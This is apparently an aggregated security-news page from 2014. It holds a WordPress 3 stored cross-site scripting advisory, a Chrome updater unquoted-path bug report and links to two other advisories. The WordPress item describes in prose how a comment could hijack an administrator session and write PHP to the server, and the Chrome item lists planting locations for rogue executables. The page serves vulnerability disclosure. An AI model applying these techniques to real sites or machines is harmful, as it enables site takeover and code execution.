[DeepSec 2014] A Myth or Reality – BIOS-based Hypervisor Threat

$
0
0
Myths and Reality often interest and interchange… this is how life works.

A myth about a Malicious Hypervisor (Russian Ghost) appeared on Russian Hacker’ website at the end of 2011. It has all myth’s attributes. There were rumors about the post, and the storyteller described it as reality.

We believe that it was real or may still exist, and we possibly know where it was born and eventually escaped from.

more here........http://blog.c22.cc/2014/11/20/deepsec-2014-a-myth-or-reality-bios-based-hypervisor-threat-mikhail-utin/

WordPress 3 persistent script injection

$
0
0
OVERVIEW
========

A security flaw in WordPress 3 allows injection of JavaScript into certain
text fields. In particular, the problem affects comment boxes on WordPress
posts and pages. These don't require authentication by default.

The JavaScript injected into a comment is executed when the target user
views it, either on a blog post, a page, or in the Comments section of the
administrative Dashboard.

In the most obvious scenario the attacker leaves a comment containing the
JavaScript and some links in order to put the comment in the moderation
queue. The exploit is not then visible to normal users, search engines, etc.

When a blog administrator goes to the Dashboard/Comments section to review
new comments, the JavaScript gets executed. The script can then perform
operations with administrator privileges.

For instance, our PoC exploits first clean up traces of the injected script
from the database, then perform other administrative tasks such as changing
the current user's password, adding a new administrator account, or using
the plugin editor to write attacker-supplied PHP code on the server (this
impact applies to any WordPress XSS if triggered by an administrator).

These operations happen in the background without the user seeing anything
out of ordinary.

If the attacker writes new PHP code on the server via the plugin editor,
another AJAX request can be used to execute it instantaneously, whereby the
attacker gains operating system level access on the server.

The exploit will NOT be triggered directly at the Dashboard "root view"
because only snippets (20 first words) of the latest comments are shown
there with all HTML stripped.

If approved there, the exploit will be triggered by any user viewing the
targeted blog posting or page, with their corresponding privileges.

Plugins that let unprivileged users to enter HTML text may offer other
attack vectors.



DETAILS
=======

WordPress allows a few HTML tags in comments, such as the anchor <A>, bold
<B>, and code <CODE> tags. Certain white-listed attributes are allowed in
each tag. Obviously, the "href" attribute is important for anchor tags, but
e.g. the "onmouseover" attribute would be undesirable.

The problem occurs in a text formatting function called wptexturize() which
is normally executed for each comment and other blocks of text. The
function replaces certain simple characters with fancier HTML entities. For
instance, straight quote symbols are replaced with opening and closing
curly quotes, unicode 8220 and 8221.

In order to avoid interfering with HTML formatting, wptexturize() first
splits the text in segments. The splitting is expected to pick HTML tags
(which aren't texturized) apart from running text (which is texturized).

In addition to HTML tags, the code is supposed to recognize
square-bracketed shortcodes such as [CODE] and avoid texturizing them.

The splitting is implemented with a regular expression in
wp-includes/formatting.php:

   $textarr = preg_split('/(<.*>|\[.*\])/Us', $text, -1,
                         PREG_SPLIT_DELIM_CAPTURE);

A text containing carefully mixed square and angle brackets confuses the
splitting process and results in HTML code getting partially texturized.

An attacker can exploit the bug to supply any attributes in the allowed
HTML tags. A style attribute can be used to create a transparent tag
covering the whole window, forcing the execution of its onmouseover handler.

In practical applications the script would probably first remove the
transparent tag to avoid interfering with UI events and re-triggering
the handler.
It could then insert a new <SCRIPT> tag to load a more complex JavaScript
file to execute from another web server. This script can use e.g. jQuery to
chain AJAX operations for posting HTML forms and retrieving the required
nonces.



AFFECTED VERSIONS
=================

We tested a few WordPress versions from 3.0 to the latest 3.9.2. All tested
versions were vulnerable. The problem seems to have gone uncorrected for
almost four years.

Version 4.0 uses a different kind of regular expression and is NOT
vulnerable to this problem.



WORKAROUNDS
===========

Texturizing can be easily disabled by adding a return statement in the
beginning of the function in wp-includes/formatting.php:

  function wptexturize($text) {
        return $text;                  // ADD THIS LINE
        global $wp_cockneyreplace;

This changes how some punctuation marks look like but the difference is
quite minor.

We have also made a WordPress plugin available for disabling texturization. For
more information and an up-to-date version of this document, please refer
to our website http://klikki.fi

The preferred solution should be applying the official patch released by
WordPress.



VENDOR RESPONSE
===============

WordPress was notified on September 26 and has released patches correcting
the problem. The WordPress security advisory is available at

https://wordpress.org/news/2014/11/wordpress-4-0-1/




CREDITS
=======

The vulnerability was discovered and researched by Jouko Pynnonen, Klikki
Oy, Finland.





--
Jouko Pynnonen <jouko@iki.fi>
Klikki Oy - http://klikki.fi

Security Advisory – High severity – WP-Statistics WordPress Plugin

$
0
0
If you’re using the WP-Statistics WordPress plugin on your website, now is the time to update. While doing a routine audit for our Website Firewall product, we discovered a few vulnerabilities in the plugin that could be used by a malicious individuals to put your site’s security at risk.

more here.........http://blog.sucuri.net/2014/11/security-advisory-high-severity-wp-statistics-wordpress-plugin.html

Beginners error: "Google update" runs rogue programs %USERPROFILE%\Local.exe, %USERPROFILE%\Local Settings\Application.exe, %SystemDrive%\Documents.exe, %SystemDrive%\Program.exe, ...

$
0
0
Hi @ll,

Google update, which is installed together with Google Chrome and
other Google products, resp. the Chrome updater run the rogue programs
"%USERPROFILE%\Local.exe",
"%USERPROFILE%\Local Settings\Application.exe",
"%SystemDrive%\Documents.exe",
"%SystemDrive%\Documents and.exe",
"%SystemDrive%\Program.exe" or
"%SystemDrive%\Program Files.exe"
(and of course their localized variants too).


The error is triggered for example via <about:chrome> resp. the
"About chrome" menu: Google Chrome starts a search for updates,
and if it finds one, runs chrome_updater.exe which then calls
CreateProcess() with an UNQUOTED pathname in the command line
    C:\Documents and Settings\...\Local Settings\Application
Data\Google\Chrome\Application\38.0.2125.111\Installer\setup.exe --update-setup-exe="C:\Documents and Settings\...
or
    C:\Program Files (x86)\Google\Chrome\Application\38.0.2125.111\Installer\setup.exe --update-setup-exe="C:\Users\...

JFTR: note the properly quoted arguments.-(


From <http://msdn.microsoft.com/library/ms682425.aspx>:

| For example, consider the string "c:\program files\sub dir\program name".
| This string can be interpreted in a number of ways.
| The system tries to interpret the possibilities in the following order:
| c:\program.exe files\sub dir\program name
| c:\program files\sub.exe dir\program name
| c:\program files\sub dir\program.exe name
| c:\program files\sub dir\program name.exe


When one of the rogue programs is executed the update fails and
Google Chrome displays the text

| Update failed (error: 7)An error occurred while checking for updates:
| The installer encountered error "103"


"%USERPROFILE%\Local.exe" and "%USERPROFILE%\Local Settings\Application.exe"
can be created with standard user privileges and every process running
with the user's credentials.

JFTR: program installations in the user's profile are a COMPLETELY
      insane idea!


"%SystemDrive%\Documents.exe", "%SystemDrive%\Documents and.exe",
"%SystemDrive%\Program.exe" and "%SystemDrive%\Program Files.exe"
can (typically) only created with administrative privileges.

But since every user account created during Windows setup has
administrative rights the typical Windows user can create these
rogue program(s).

JFTR: no, the "user account control" is not a security boundary!

      From <http://support.microsoft.com/kb/2526083>:

| Same-desktop Elevation in UAC is not a security boundary and can
| be hijacked by unprivileged software that runs on the same desktop.
| Same-desktop Elevation should be considered a convenience feature,
| and from a security perspective, "Protected Administrator" should
| be considered the equivalent of "Administrator."


This bug is fixed in the just released Google Chrome 39.


regards
Stefan Kanthak


PS: To catch all instances of this beginners error download
    <http://home.arcor.de/skanthak/download/SENTINEL.CMD>,
    <http://home.arcor.de/skanthak/download/SENTINEL.DLL>,
    <http://home.arcor.de/skanthak/download/SENTINEL.EXE> and
    <http://home.arcor.de/skanthak/download/SENTINEL.REG>, then read
    and run the script SENTINEL.CMD

    When run in an interactive session SENTINEL.EXE and SENTINEL.DLL
    display a message box showing the command line which led to their
    execution, the working directory and if possible the pathname/
    filename of the caller, as shown in
    <http://home.arcor.de/skanthak/download/SENTINEL.PNG>
Viewing all 8064 articles
Browse latest View live